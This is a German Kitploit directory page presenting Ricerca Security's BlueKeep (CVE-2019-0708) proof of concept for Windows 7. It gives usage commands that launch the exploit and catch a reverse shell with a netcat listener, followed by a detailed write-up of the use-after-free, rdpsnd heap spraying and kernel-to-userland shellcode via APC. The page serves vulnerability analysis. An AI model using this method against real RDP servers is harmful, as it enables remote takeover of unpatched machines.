Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2019-0708 — CVE-2019-0708 (BlueKeep) Proof of Concept, der eine Pre-Auth-RCE unter Windows 7 ermöglicht | Kitploit
Tools/GitHubGitHub/ricseclab/cve-2019-0708
SchwachstellenanalyseExploitationPenetrationstestsRemote-Access-ToolPayload-EntwicklungBinary-Exploitation
GitHubricseclab/cve-2019-0708

CVE-2019-0708

CVE-2019-0708 (BlueKeep) Proof of Concept, der eine Pre-Auth-RCE unter Windows 7 ermöglicht

Repository anzeigen
1502344vor 4 JahrenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2019-0708 (BlueKeep) pre-auth RCE POC unter Windows 7

Ricerca Security, Inc.

Hier wird der Remote-Code-Ausführungsfehler in Windows-Remotedesktopdiensten (RDS) demonstriert.

Hier sind ein POC-Code und ein technischer Bericht über die BlueKeep-Sicherheitslücke, die wir zuvor entwickelt haben.
HINWEIS: Unser Ziel ist es, Analysten ein besseres Verständnis kritischer Sicherheitslücken zu ermöglichen.

Verwendung

Voraussetzungen

Unser Exploit-Code ist in Python 3 geschrieben und basiert auf der Bibliothek PyRDP. Bitte richten Sie diese gemäß der Installationsanleitung von PyRDP ein.

Verwendung

Derzeit zielt unser Exploit auf Windows 7 SP 1 (6.1.7601) x64 auf Virtual Box ab und wird darauf getestet.

Wenn Ihr Computer die IP-Adresse 192.168.56.1 hat und Sie den RDP-Server unter example.com:1234 anvisieren, geben Sie Folgendes ein:

root@kitploit:~
$ python exploit.py example.com -rp 1234 192.168.56.1

Wenn das Skript den Server erfolgreich ausnutzt, initiiert ein Connect-Back-Shellcode eine TCP-Verbindung vom Server zurück zu 192.168.56.1:4444. Daher sollten Sie z. B. mit netcat auf die Verbindung warten:

root@kitploit:~
$ nc -v -l 4444

Wenn Sie die Portnummer ändern möchten, zu der der Server zurückverbindet, verwenden Sie die Option -bp:

root@kitploit:~
$ python exploit.py example.com -rp 1234 192.168.56.1 -bp 4567

Bericht

Die Sicherheitslücke

Im Mai 2019 veröffentlichte Microsoft eine kritische Sicherheitslücke zur Remote-Code-Ausführung CVE-2019-0708, in den Remotedesktopdiensten (ehemals Terminaldienste). Diese Sicherheitslücke erfordert keine vorherige Authentifizierung (pre-authentication) – das bedeutet, sie ist wormfähig und kann weitreichende Störungen verursachen. Ein Angreifer kann diese Sicherheitslücke ausnutzen, indem er manipulierte Remote Desktop Protocol (RDP)-Nachrichten an den Zielserver sendet und so beliebigen Code mit Administratorrechten ausführen kann.

RDP-Virtualkanal

Microsoft Remotedesktopdienste bieten einem Benutzer offene interaktive Windows-Sitzungen aus der Ferne. Sie präsentieren den Windows-Desktop des Benutzers, indem sie mit dem Client über das Remote Desktop Protocol (RDP) auf Port 3389/TCP kommunizieren.

Das RDP-Protokoll kann durch Softwareerweiterungen namens Virtual Channel erweitert werden. Beispiele für funktionale Erweiterungen sind Unterstützung für spezielle Hardware, Audio oder andere Ergänzungen der Kernfunktionalität.
Diese Kanäle umfassen standardmäßige Microsoft-Kanäle wie "rdpdr" (Umleitung), "rdpsnd" (Ton), "cliprdr" (Zwischenablagefreigabe) usw. Benutzer können Module mit der RDP-API schreiben, um andere Kanäle zu unterstützen. Zusätzlich zu den oben genannten Kanälen erstellt Microsoft standardmäßig zwei Kanäle: MS_T120 (für RDP selbst) und CTXTW (für Citrix ICA).

Die Sicherheitslücke betrifft den Bindungsprozess virtueller Kanäle von MS_T120 durch die "MCS Connect Initial and GCC Create"-Anfrage. Weitere Hintergrundinformationen sind unter ZDI verfügbar.
Wie im ZDI-Artikel erwähnt, werden alle vom Client angeforderten virtuellen Kanäle mit termdd!IcaCreateChannel() erstellt. Dann werden Zeiger auf diese Kanalstrukturen in einer Tabelle gespeichert, die wir ChannelPointerTable nennen.
Wenn eine Verbindung mit einem RDP-Client hergestellt wird, werden alle statischen virtuellen Kanäle einschließlich MS_T120 intern vom Windows-RDP-Server initialisiert und von ChannelPointerTable referenziert.

Die Abfrage zum Erstellen von MS_T120 und CTXTW wird von rdpcore!WDLIB_IcaVirtualQueryBindings() ausgelöst.

Abb. 1: Erzeugung der Abfrage zum Erstellen von MS_T120 und CTXTW

Nachdem die Abfrage an termdd!IcaBindVirtualChannels() übergeben wurde, wird eine virtuelle Kanalstruktur in termdd!IcaAllocateChannel() erstellt und in der ChannelPointerTable registriert.

Abb. 2: Erstellen und Registrieren der virtuellen Kanalstruktur

Die Funktion termdd!IcaBindChannel() ist für die Registrierung einer virtuellen Kanalstruktur in der ChannelPointerTable verantwortlich. IcaBindChannel
Hier ist der Stack-Trace unter Windows 7 x64, wenn termdd!IcaBindChannel() mit dem ersten Argument "MS_T120" und dem dritten Argument 0x1f aufgerufen wird.

Abb. 3: MS_T1209 wird während der ersten Anfrage an Slot 0x1f gebunden

Dann sieht die ChannelPointerTable wie folgt aus. Beachten Sie, dass MS_T120 immer in Slot 0x1F vorhanden ist.

Abb. 4: ChannelPointerTable während der ersten Anfrage

Ursachenanalyse

Im Windows RDP-Kernel-Treiber termdd.sys existiert eine Use-After-Free-Sicherheitslücke.
Das Problem besteht darin, dass, wenn ein Client während der "MCS Connect Initial and GCC Create"-Anfrage einen Kanal mit dem Namen MS_T120\x00 angibt, termdd!IcaCreateChannel() termdd!IcaFindChannelByName() aufruft und die vorhandene MS_T120-Kanalstruktur in Slot 0x1F zurückgibt. Diese Kanalstruktur wird dann als neuer virtueller Kanaleintrag betrachtet und während der "MCS Attach User Request"-Anfrage in einem anderen Slot (in diesem Beispiel Slot 2) gespeichert.
Hier ist der Stack-Trace unter Windows 7 x64, wenn termdd!IcaBindChannel() mit dem ersten Argument "MS_T120" und dem dritten Argument 0x2 aufgerufen wird.

Abb. 5: MS_T1209 wird während der Attach-Anfrage ebenfalls an Slot 0x2 gebunden

Mit anderen Worten: Die MS_T120-Kanalstruktur wird von zwei Slots 0x1F und 0x2 referenziert.

Abb. 6: ChannelPointerTable während der Attach-Anfrage

Wenn ein Angreifer dann ungültige Daten in den MS_T120-Kanal sendet, schließt termdd.sys den Kanal mit termdd!IcaCloseChannel() und löscht den Zeiger an diesem Slot (Slot 2 im aktuellen Beispiel).
Der gleiche Zeiger in Slot 0x1F wird jedoch nicht gelöscht.
Wenn die Verbindung anschließend beendet wird, wird RDPWD!HandleDisconnectProviderUlt() aufgerufen, das wiederum termdd!IcaChannelInputInternal() aufruft und versucht, die freigegebene MS_T1209-Kanalstruktur erneut mit dem Zeiger in Slot 0x1F zu zerstören. Eine Zerstörungsroutine wird über den vtable-Zeiger innerhalb der Kanalstruktur aufgerufen. Dies führt zu einer Use-After-Free-Bedingung.

Abb. 7: vtable-Dereferenzierung

Heap-Spraying

Wie im vorherigen Abschnitt erläutert, versucht RDPWD!HandleDisconnectProviderUlt(), eine Funktion über den vtable-Zeiger innerhalb der freigegebenen Kanalstruktur aufzurufen. Wenn ein Angreifer Werte in der Kanalstruktur kontrollieren kann, kann er den vtable-Zeiger überschreiben, was zur Ausführung beliebigen Codes mit Kernel-Berechtigungen führt.
Um dies zu erreichen, müssen jedoch zwei Schwierigkeiten überwunden werden.

Die erste ist wie man überhaupt Werte in der freigegebenen Kanalstruktur kontrollieren kann. Dazu ist es typisch und zuverlässig für einen Angreifer, Speicher an der gleichen Stelle zu allozieren, an der sich die freigegebene Struktur befindet, da die gezielte Sicherheitslücke ein Use-After-Free ist.
In diesem Fall gibt es jedoch keine deterministische Möglichkeit für ihn, seinen Speicher wie gewünscht an der Zielstelle zu allozieren. Dies liegt daran, dass im Kernel viele Threads laufen und (virtuell) gleichzeitig Speicher allozieren. Wo sein Speicher alloziert wird, hängt von der Reihenfolge der Thread-Ausführung ab. In fast allen Fällen kann er nicht sicher sein, ob eine erfolgreiche Allozierung stattgefunden hat.
HeapSizeChange
HeapSizeChange

Die andere ist wo die Adressen der vtable und der Zeiger darin gesetzt werden sollen. Wie im vorherigen Abschnitt gesehen, muss ein Angreifer die Adresse der vtable setzen. Da er beliebige Codeausführung erreichen möchte, sollte er die Adresse so setzen, dass die gefälschte vtable die Adresse enthält, die ausgeführt werden soll (z. B. die Adresse eines Shellcodes oder eines Gadgets). Aufgrund der bereits erwähnten Zufälligkeit des Kernel-Heaps und KASLR kann er eine solche geeignete Adresse jedoch höchstwahrscheinlich nicht kennen:

  1. Wahrscheinlich kann er Speicher im Kernel-Heap allozieren und die Adresse eines Shellcodes in den allozierten Speicherort schreiben. Trotzdem kann er normalerweise die Adresse des allozierten Platzes nicht erfahren, aufgrund der oben genannten Zufälligkeit.
  2. Dies ist unwahrscheinlich, aber die andere Option ist die Verwendung statischer (nicht-Heap) Speicherorte, die durch Zufall eine Adresse nützlicher Gadgets enthalten, wie irgendwo im Code-Abschnitt. Dieser Plan würde jedoch auch nicht gut funktionieren, da Windows 7 die Absicherung KASLR hat, die die Adressen dieser Speicherorte randomisiert.

Diese Tatsachen bedeuten, dass ein Angreifer nicht direkt beliebige Codeausführung erlangen kann, selbst wenn er den vtable-Zeiger kontrollieren kann, es sei denn, er nutzt eine weitere Sicherheitslücke, die Adressen im Kernel preisgibt. Darüber hinaus, wie Sie vielleicht bemerken, ist „die Adresse eines Shellcodes oder eines Gadgets“ ebenfalls etwas, das ein Angreifer nicht kennen kann.

Unser Exploit begegnet diesen Hindernissen mit einer einzigen Technik: Heap-Spraying. Heap-Spraying ist eine Methode, um diese Zufälligkeit zu durchbrechen, indem eine große Anzahl von Allozierungen einer großen Speichermenge vorgenommen wird.

Abb. 8: Nutzung des Heap-Pools vor dem Spraying

Abb. 9: Nutzung des Heap-Pools nach dem Spraying

Durch wiederholte, präparierte Allozierungen kann ein Angreifer die Wahrscheinlichkeit erhöhen, dass sich ein Teil des allozierten Speichers an der Stelle der freigegebenen Kanalstruktur befindet.

Wenn die Mehrheit der Objekte im Kernel-Heap vom Angreifer präpariert ist, kann er sogar sorglos eine beliebige Adresse im Heap als Adresse der gefälschten vtable angeben, da die angegebene Adresse mit hoher Wahrscheinlichkeit auf seine Objekte zeigt. Wir weisen darauf hin, dass die Basisadresse des Kernel-Heaps nicht durch KASLR randomisiert wird. Grundsätzlich rührt die Zufälligkeit des Heaps nur von der Reihenfolge der Thread-Ausführung.

Glücklicherweise und am wichtigsten ist, dass in Windows 7 das NX-Bit im nicht-ausgelagerten Kernel-Pool nicht aktiviert ist. Dies bedeutet, dass ein Angreifer im Kernel-Heap nicht nur die gefälschte vtable, sondern auch direkt einen Shellcode speichern kann. Dies erleichtert die Ausnutzung erheblich, da wir keine Return-Oriented Programming einsetzen müssen.

Abb. 10: Seiten-Tabellen-Eintrag (PTE)-Berechtigung

Für Heap-Spraying benötigt ein Angreifer offensichtlich die Funktionalität, um Speicher im Kernel-Heap allozieren zu können und dort Eingaben zu platzieren. Basierend auf dem Bericht von Unit 42 und dem BlueKeep-Exploit in Metasploit haben wir Kernel-Treiber nach Routinen durchsucht, die diese Funktionalität bieten. Wir haben viele PDUs getestet und kamen schließlich zu dem Schluss, dass der zuverlässigste und nützlichste Weg darin besteht, Virtual Channel PDUs an den rdpsnd-Kanal zu senden, wie es der Exploit von Metasploit nutzt. Zu Ihrer Information, lassen Sie uns erklären, warum wir drei im Bericht von Unit 42 vorgestellte PDU-Typen nicht übernehmen konnten:

  • Bitmap Cache PDU: Zunächst einmal kann ein Angreifer diese PDU nur während des ersten Handshakes senden. Da der Use-After-Free nach Abschluss des Handshakes auftritt, kann dies nicht zum Überschreiben der vtable verwendet werden. Darüber hinaus kann ein Angreifer mit dieser PDU nur 0x2b5240 Bytes (< 3 MB) Speicher allozieren, was für Heap-Spraying nicht ausreicht.
  • Client Name Request PDU: Wir hielten diese PDU für vielversprechend für Heap-Spraying. Soweit wir getestet haben, kann diese PDU jedoch nicht mehrfach gesendet (oder empfangen) werden, zumindest nicht auf einfache Weise. Aufgrund fehlender Details konnten wir nicht herausfinden, was dieses Ergebnis bedeutet: dass ein Angreifer präparierte und komplizierte Pakete senden muss, um diese PDU zu nutzen, oder dass sich diese Routine geändert hat und in einer 64-Bit-Umgebung nicht funktioniert.
  • Refresh Rect PDU: Diese PDU ist insofern effizient für Heap-Spraying, als ein Angreifer eine viel größere Speichermenge allozieren kann als die tatsächlich gesendeten Daten. Da ein Angreifer jedoch nur 8 Bytes Daten im durch diese PDU allozierten Speicher kontrollieren kann, ist es schwierig, diese Allozierung sinnvoll zu nutzen. Wir lassen die Details weg, aber wir denken, dass mindestens 13 Bytes (8 Bytes für die vtable und 5 Bytes für „jmp $+0x1000“) kontrollierbar sein sollten, damit ein Angreifer diese Art von PDU effektiv nutzen kann.

Virtual Channel PDU werden, wie der Name schon sagt, zwischen Client und Server ausgetauscht, um Daten zu statischen virtuellen Kanälen zu transportieren. Wie die Daten innerhalb der PDU verarbeitet werden, variiert je nach Kanal. Unter mehreren bekannten Kanälen, die Microsoft als Erweiterungen bereitstellt, hat der rdpsnd-Kanal die einzigartige Eigenschaft, beliebige Eingaben zu empfangen und Speicher dafür zu allozieren. Da dieser Kanal standardmäßig in Windows 7 verwendet werden kann, können wir einfach unsere Payloads dorthin senden, um Heap-Spraying durchzuführen.

Wir haben einen Proof of Concept unter Berücksichtigung der oben genannten wichtigen Punkte geschrieben und erfolgreich beliebige Codeausführung erreicht.

Abb. 11: Kontrollierte vtable-Adresse

Abb. 12: Erfolgreiches Überschreiben der vtable-Adresse mit einer bösartigen, die auf Shellcode (ud2) zeigt

Codeausführung

Obwohl wir im vorherigen Abschnitt beschrieben haben, wie man einen Shellcode zur Ausführung bringt, ist das noch nicht alles. Der Shellcode läuft im Kernel-Modus, während ein Angreifer administrative Privilegien im „Userland“ möchte. Sie sind theoretisch ähnlich in dem, was er damit tun kann, aber unterschiedlich darin, wie er gewünschte Aktionen realisieren kann. Beispielsweise müsste ein Angreifer mit einem Shellcode möglicherweise hundert Zeilen Assembler-Code schreiben, um Dateien in einem Verzeichnis aufzulisten, während er mit einer privilegierten Shell einfach ‚dir‘ eingeben kann.

Daher ist das Ziel unseres Exploits, einem Angreifer eine privilegierte Shell bereitzustellen, und das erfordert einige zusätzliche Anstrengungen. Da der Shellcode im Kernel-Modus ausgeführt wird, muss der Shellcode zunächst einen (privilegierten) Userland-Thread finden oder erstellen und dann cmd.exe in diesem Thread ausführen.
Dieses Mal müssen wir zwei Dinge bedenken: wie man einen Thread findet oder erstellt, und wie man Speicher im Userland allozieren kann, um Shellcode im Userland auszuführen.

Das erstgenannte Problem, einen Userland-Thread zu finden, ergibt sich aus der Tatsache, dass der Kontext, in dem der Shellcode läuft, kein gewöhnlicher Prozesskontext ist. Wenn er innerhalb eines Prozesskontexts läuft, kann er einfach die IRET-Anweisung verwenden, um ins Userland zurückzukehren. In diesem Fall führt die Ausführung von IRET jedoch dazu, dass der Kernel einfriert. Es gibt mehrere Möglichkeiten, dieses Problem zu lösen, aber die allgemeinste und nützlichste Methode ist der asynchrone Prozeduraufruf (APC), der Mechanismus, den Windows für die Verarbeitung asynchroner Ereignisse bereitstellt. APC erlaubt es einem Programm, Funktionen in einem bestimmten Thread-Kontext auszuführen, sogar in einem anderen Prozess. Mit diesem Mechanismus kann der Shellcode einfach und legitim einen neuen Userland-Thread erstellen.

Beim Registrieren eines APC müssen wir die Adresse angeben, ab der ein neuer Userland-Thread mit der Ausführung beginnt. Bisher allozieren wir jedoch nur Speicher im Kernel-Heap, auf den ein Userland-Thread offensichtlich nicht zugreifen kann. Um einen Userland-Shellcode ausführen zu können, müssen wir einen weiteren Speicherort vorbereiten, der vom Userland aus sichtbar ist, und den Userland-Shellcode dort speichern. Damit stoßen wir auf das zweitgenannte Problem, Speicher im Userland zu allozieren. Eine mögliche und normale Methode, dieses Problem zu lösen, ist das Erstellen einer neuen Zuordnung mit ZwAllocateVirtualMemory. Dies ist jedoch etwas redundant, und es gibt in Windows 7 tatsächlich einen einfacheren Weg: die Verwendung von KUSER_SHARED_DATA. KUSER_SHARED_DATA ist eine Datenstruktur, die in einer dedizierten Zuordnung gespeichert ist, die sowohl im Userland als auch im Kernel-Modus gemappt ist und sich an den festen Adressen (0x7FFE0000 bzw. 0xFFFFF78000000000) befindet. Dies ist eine Funktion ähnlich wie vsyscall in Linux. Wenn wir den Userland-Shellcode in dieser Zuordnung speichern, funktioniert alles gut: Der Kernel-Modus-Shellcode kann den Userland-Shellcode in diese Zuordnung kopieren und den APC ohne Schwierigkeiten registrieren, da er die Adresse der Zuordnung kennt.

Abb. 13: Shellcode wird in der dedizierten Zuordnung gespeichert, 0x7FFE0000 (Benutzermodus) und 0xFFFFF78000000000 (Kernel-Modus)

Abb. 14: Ein Shellcode-Körper

Somit gibt es viele Dinge, die nach Erlangen beliebiger Codeausführung zu tun sind, obwohl all diese Dinge fast direkt gelöst werden können. Schließlich hat unser Exploit sein Ziel erreicht.

Betroffene Versionen

Diese Sicherheitslücke hat die CVE-Nummer CVE-2019-0708. Microsoft hat bereits am 15. Mai 2019 ein Sicherheitsupdate KB4499175 veröffentlicht.
Weitere Details zur Sicherheitslücke, betroffenen Versionen und Abhilfemaßnahmen finden Sie hier.

Danksagung

Dieses Projekt wurde teilweise von Advanced Technology Lab, Recruit Co., Ltd. unterstützt. Advanced Technology Lab

Tool herunterladen